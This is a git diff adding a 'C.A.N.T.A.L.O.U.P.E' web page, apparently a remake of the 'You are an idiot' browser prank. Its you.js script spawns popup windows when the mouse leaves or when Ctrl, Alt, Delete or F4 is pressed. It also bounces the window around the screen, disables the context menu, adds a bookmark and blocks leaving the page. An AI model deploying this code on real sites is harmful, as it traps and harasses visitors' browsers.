diff --git a/other/cantaloupe/images/idiot.png b/other/cantaloupe/images/idiot.png new file mode 100644 index 0000000..886b861 Binary files /dev/null and b/other/cantaloupe/images/idiot.png differ diff --git a/other/cantaloupe/images/speakerm.png b/other/cantaloupe/images/speakerm.png new file mode 100644 index 0000000..d8bfdb4 Binary files /dev/null and b/other/cantaloupe/images/speakerm.png differ diff --git a/other/cantaloupe/index.html b/other/cantaloupe/index.html new file mode 100644 index 0000000..ac0f64d --- /dev/null +++ b/other/cantaloupe/index.html @@ -0,0 +1,41 @@ + + + + + C.A.N.T.A.L.O.U.P.E + + + + + + + + + + + + + + + + + + + + +
+
+ + +
+ +
+ + + + + + \ No newline at end of file diff --git a/other/cantaloupe/lol.html b/other/cantaloupe/lol.html new file mode 100644 index 0000000..b017d7f --- /dev/null +++ b/other/cantaloupe/lol.html @@ -0,0 +1,18 @@ + + + C.A.N.T.A.L.O.U.P.E + + + + + + +
+
+ + + + \ No newline at end of file diff --git a/other/cantaloupe/media/cantaloupe.mp3 b/other/cantaloupe/media/cantaloupe.mp3 new file mode 100644 index 0000000..52d9225 Binary files /dev/null and b/other/cantaloupe/media/cantaloupe.mp3 differ diff --git a/other/cantaloupe/media/cantaloupe.mp4 b/other/cantaloupe/media/cantaloupe.mp4 new file mode 100644 index 0000000..16d5a3e Binary files /dev/null and b/other/cantaloupe/media/cantaloupe.mp4 differ diff --git a/other/cantaloupe/media/youare.mp3 b/other/cantaloupe/media/youare.mp3 new file mode 100644 index 0000000..55526d4 Binary files /dev/null and b/other/cantaloupe/media/youare.mp3 differ diff --git a/other/cantaloupe/media/youare.mp4 b/other/cantaloupe/media/youare.mp4 new file mode 100644 index 0000000..686d036 Binary files /dev/null and b/other/cantaloupe/media/youare.mp4 differ diff --git a/other/cantaloupe/scripts/you.js b/other/cantaloupe/scripts/you.js new file mode 100644 index 0000000..d37b0e4 --- /dev/null +++ b/other/cantaloupe/scripts/you.js @@ -0,0 +1,141 @@ +/* [Oct 2021] Added to comply with strict browser policies. */ +document.addEventListener('click', musicPlay); + +function musicPlay() { + var audio = document.getElementById('youare-audio'); + var micon = document.getElementById('youare-micon'); + + micon.addEventListener('click', musicPlay); + + if (audio.duration > 0 && audio.paused) { + audio.play(); + micon.src = "images/speaker.png"; + } + else { + audio.pause(); + audio.currentTime = 0; + + micon.src = "images/speakerm.png"; + } + + document.removeEventListener('click', musicPlay); +} + +var faudio = new Audio('youare.mp3') + +faudio.addEventListener('timeupdate', function() { + console.log('TimeUpdate invoked.'); + + if (this.currentTime > this.duration - .45) { + this.currentTime = 0; + this.play(); + } +} +); +/* [Oct 2021] End part. */ + +function bookmark() { + if ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4)) { + var url = "lol.html"; + var title = "Idiot!"; + + window.external.AddFavorite(url, title); + } +} + +var xOff = 5; +var yOff = 5; +var xPos = 400; +var yPos = -100; +var flagRun = 1; + +function changeTitle(title) { + document.title = title; +} + +function openWindow(url) { + aWindow = window.open(url, "_blank", 'menubar=no, status=no, toolbar=no, resizable=no, width=357, height=330, titlebar=no, alwaysRaised=yes'); +} + +function proCreate() { + for (var i = 0; i < 5; i++) { + openWindow('lol.html'); + } +} + +function newXlt() { + xOff = Math.ceil(-6 * Math.random()) * 5 - 10; + window.focus(); +} + +function newXrt() { + xOff = Math.ceil(7 * Math.random()) * 5 - 10; + window.focus(); +} + +function newYup() { + yOff = Math.ceil(-6 * Math.random()) * 5 - 10; + window.focus(); +} + +function newYdn() { + yOff = Math.ceil( 7 * Math.random()) * 5 - 10; + window.focus(); +} + +function fOff(){ + flagRun = 0; +} + +function playBall() { + xPos += xOff; + yPos += yOff; + + if (xPos > screen.width - 357) newXlt(); + if (xPos < 0) newXrt(); + + if (yPos > screen.height - 330) newYup(); + if (yPos < 0) newYdn(); + + if (flagRun == 1) { + window.moveTo(xPos, yPos); + setTimeout('playBall()', 1); + } +} + +/* [Oct 2021] Better code. */ +window.onload = function () { + flagRun = 1; + + playBall(); + bookmark(); // Internet Explorer only (what a piece of shit) + + return true; +} + +window.onmouseout = function () { + proCreate(); + + return null; +}; + +window.oncontextmenu = function() { + + return false; +} + +window.onkeydown = function() { + var keyCode = event.keyCode; + + if (keyCode == 17 || keyCode == 18 || keyCode == 46 || keyCode == 115) { + alert("You are an idiot!"); + proCreate(); + } + + return null; +} + +window.onbeforeunload = function() { + return "Are you an idiot?"; +}; +/* [Oct 2021] End of amendments. */ \ No newline at end of file diff --git a/other/cantaloupe/styles/styles.css b/other/cantaloupe/styles/styles.css new file mode 100644 index 0000000..31465fb --- /dev/null +++ b/other/cantaloupe/styles/styles.css @@ -0,0 +1,46 @@ +body { + margin-left: 0; +} + +.info-container { + display: inline-flex; + padding: 7px; + + align-items: top; +} + +.info-container div { + margin-left: 7px; +} + +.idiot-container { + position: absolute; + top: 0; + bottom: 0; + width: 100%; + height: 100%; +} + +.idiot-container video { + z-index: -100; + + width: 100%; + height: 100%; + + min-height: 100%; + + position: fixed; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); +} + +.links { + display: inline-block; +} + +.speaker, .link { + cursor: pointer; + + opacity: 0.85; +} \ No newline at end of file